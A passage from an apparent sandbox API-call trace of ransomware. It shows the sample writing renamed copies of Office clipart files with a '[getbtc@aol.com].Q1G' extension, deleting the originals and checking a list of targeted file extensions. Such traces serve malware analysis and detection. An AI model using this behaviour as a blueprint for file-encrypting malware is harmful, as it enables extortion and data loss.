lpNewFilePointer=0x0) returned 1 [0257.401] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.402] GetLastError () returned 0x0 [0257.402] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x542c, lpOverlapped=0x0) returned 1 [0257.403] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x5430, lpOverlapped=0x0) returned 1 [0257.404] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.404] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.405] SetEndOfFile (hFile=0x3e0) returned 1 [0257.405] CloseHandle (hObject=0x3e0) returned 1 [0257.405] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.405] SetEndOfFile (hFile=0x390) returned 1 [0257.501] CloseHandle (hObject=0x390) returned 1 [0257.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0257.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.600] lstrlenW (lpString=".doc") returned 4 [0257.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.600] lstrlenW (lpString=".docx") returned 5 [0257.600] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.600] lstrlenW (lpString=".pdf") returned 4 [0257.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.600] lstrlenW (lpString=".xls") returned 4 [0257.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.600] lstrlenW (lpString=".xlsx") returned 5 [0257.600] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.600] lstrlenW (lpString=".ppt") returned 4 [0257.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.600] lstrlenW (lpString=".zip") returned 4 [0257.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.601] lstrlenW (lpString=".rar") returned 4 [0257.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.601] lstrlenW (lpString=".bz2") returned 4 [0257.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.601] lstrlenW (lpString=".7z") returned 3 [0257.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.601] lstrlenW (lpString=".dbf") returned 4 [0257.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.601] lstrlenW (lpString=".1cd") returned 4 [0257.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.601] lstrlenW (lpString=".jpg") returned 4 [0257.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.601] lstrlenW (lpString=".doc") returned 4 [0257.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.601] lstrlenW (lpString=".docx") returned 5 [0257.601] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.601] lstrlenW (lpString=".pdf") returned 4 [0257.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.601] lstrlenW (lpString=".xls") returned 4 [0257.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.601] lstrlenW (lpString=".xlsx") returned 5 [0257.601] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.601] lstrlenW (lpString=".ppt") returned 4 [0257.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.601] lstrlenW (lpString=".zip") returned 4 [0257.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.601] lstrlenW (lpString=".rar") returned 4 [0257.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.601] lstrlenW (lpString=".bz2") returned 4 [0257.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.602] lstrlenW (lpString=".7z") returned 3 [0257.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.602] lstrlenW (lpString=".dbf") returned 4 [0257.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.602] lstrlenW (lpString=".1cd") returned 4 [0257.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0257.602] lstrlenW (lpString=".jpg") returned 4 [0257.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.602] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.602] lstrlenW (lpString="J0105638.WMF") returned 12 [0257.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0257.610] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=10364) returned 1 [0257.610] CloseHandle (hObject=0x3c0) returned 1 [0257.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 0x20 [0257.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.612] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.612] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.613] GetLastError () returned 0x0 [0257.613] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x287c, lpOverlapped=0x0) returned 1 [0257.615] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2880, lpOverlapped=0x0) returned 1 [0257.616] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.616] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.616] SetEndOfFile (hFile=0x388) returned 1 [0257.616] CloseHandle (hObject=0x388) returned 1 [0257.616] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.616] SetEndOfFile (hFile=0x3e0) returned 1 [0257.618] CloseHandle (hObject=0x3e0) returned 1 [0257.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0257.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.619] lstrlenW (lpString=".doc") returned 4 [0257.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.619] lstrlenW (lpString=".docx") returned 5 [0257.619] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.619] lstrlenW (lpString=".pdf") returned 4 [0257.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.619] lstrlenW (lpString=".xls") returned 4 [0257.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.619] lstrlenW (lpString=".xlsx") returned 5 [0257.619] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.619] lstrlenW (lpString=".ppt") returned 4 [0257.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.619] lstrlenW (lpString=".zip") returned 4 [0257.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.619] lstrlenW (lpString=".rar") returned 4 [0257.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.619] lstrlenW (lpString=".bz2") returned 4 [0257.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.620] lstrlenW (lpString=".7z") returned 3 [0257.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.620] lstrlenW (lpString=".dbf") returned 4 [0257.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.620] lstrlenW (lpString=".1cd") returned 4 [0257.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.620] lstrlenW (lpString=".jpg") returned 4 [0257.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.620] lstrlenW (lpString=".doc") returned 4 [0257.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.620] lstrlenW (lpString=".docx") returned 5 [0257.620] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0257.620] lstrlenW (lpString=".pdf") returned 4 [0257.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.620] lstrlenW (lpString=".xls") returned 4 [0257.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.620] lstrlenW (lpString=".xlsx") returned 5 [0257.620] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0257.620] lstrlenW (lpString=".ppt") returned 4 [0257.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.620] lstrlenW (lpString=".zip") returned 4 [0257.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.620] lstrlenW (lpString=".rar") returned 4 [0257.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.620] lstrlenW (lpString=".bz2") returned 4 [0257.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.620] lstrlenW (lpString=".7z") returned 3 [0257.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.621] lstrlenW (lpString=".dbf") returned 4 [0257.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.621] lstrlenW (lpString=".1cd") returned 4 [0257.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0257.621] lstrlenW (lpString=".jpg") returned 4 [0257.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.621] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.621] lstrlenW (lpString="J0105710.WMF") returned 12 [0257.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.621] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=13808) returned 1 [0257.621] CloseHandle (hObject=0x3e0) returned 1 [0257.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 0x20 [0257.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.622] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.622] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.623] GetLastError () returned 0x0 [0257.623] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x35f0, lpOverlapped=0x0) returned 1 [0257.625] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3600, lpOverlapped=0x0) returned 1 [0257.626] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.626] WriteFile (in: hFile=0x388, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.626] SetEndOfFile (hFile=0x388) returned 1 [0257.626] CloseHandle (hObject=0x388) returned 1 [0257.626] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.626] SetEndOfFile (hFile=0x3e0) returned 1 [0257.628] CloseHandle (hObject=0x3e0) returned 1 [0257.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0257.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.650] lstrlenW (lpString=".doc") returned 4 [0257.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.650] lstrlenW (lpString=".docx") returned 5 [0257.650] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.650] lstrlenW (lpString=".pdf") returned 4 [0257.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.650] lstrlenW (lpString=".xls") returned 4 [0257.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.650] lstrlenW (lpString=".xlsx") returned 5 [0257.650] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.650] lstrlenW (lpString=".ppt") returned 4 [0257.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.650] lstrlenW (lpString=".zip") returned 4 [0257.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.650] lstrlenW (lpString=".rar") returned 4 [0257.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.650] lstrlenW (lpString=".bz2") returned 4 [0257.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.650] lstrlenW (lpString=".7z") returned 3 [0257.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.650] lstrlenW (lpString=".dbf") returned 4 [0257.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.650] lstrlenW (lpString=".1cd") returned 4 [0257.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.650] lstrlenW (lpString=".jpg") returned 4 [0257.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.650] lstrlenW (lpString=".doc") returned 4 [0257.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.651] lstrlenW (lpString=".docx") returned 5 [0257.651] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.651] lstrlenW (lpString=".pdf") returned 4 [0257.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.651] lstrlenW (lpString=".xls") returned 4 [0257.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.651] lstrlenW (lpString=".xlsx") returned 5 [0257.651] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.651] lstrlenW (lpString=".ppt") returned 4 [0257.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.651] lstrlenW (lpString=".zip") returned 4 [0257.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.651] lstrlenW (lpString=".rar") returned 4 [0257.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.651] lstrlenW (lpString=".bz2") returned 4 [0257.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.651] lstrlenW (lpString=".7z") returned 3 [0257.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.651] lstrlenW (lpString=".dbf") returned 4 [0257.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.651] lstrlenW (lpString=".1cd") returned 4 [0257.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF") returned 63 [0257.651] lstrlenW (lpString=".jpg") returned 4 [0257.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.651] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.652] lstrlenW (lpString="J0105912.WMF") returned 12 [0257.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.652] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=11720) returned 1 [0257.652] CloseHandle (hObject=0x3e0) returned 1 [0257.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 0x20 [0257.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.653] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.653] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.653] GetLastError () returned 0x0 [0257.653] ReadFile (in: hFile=0x3e0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, 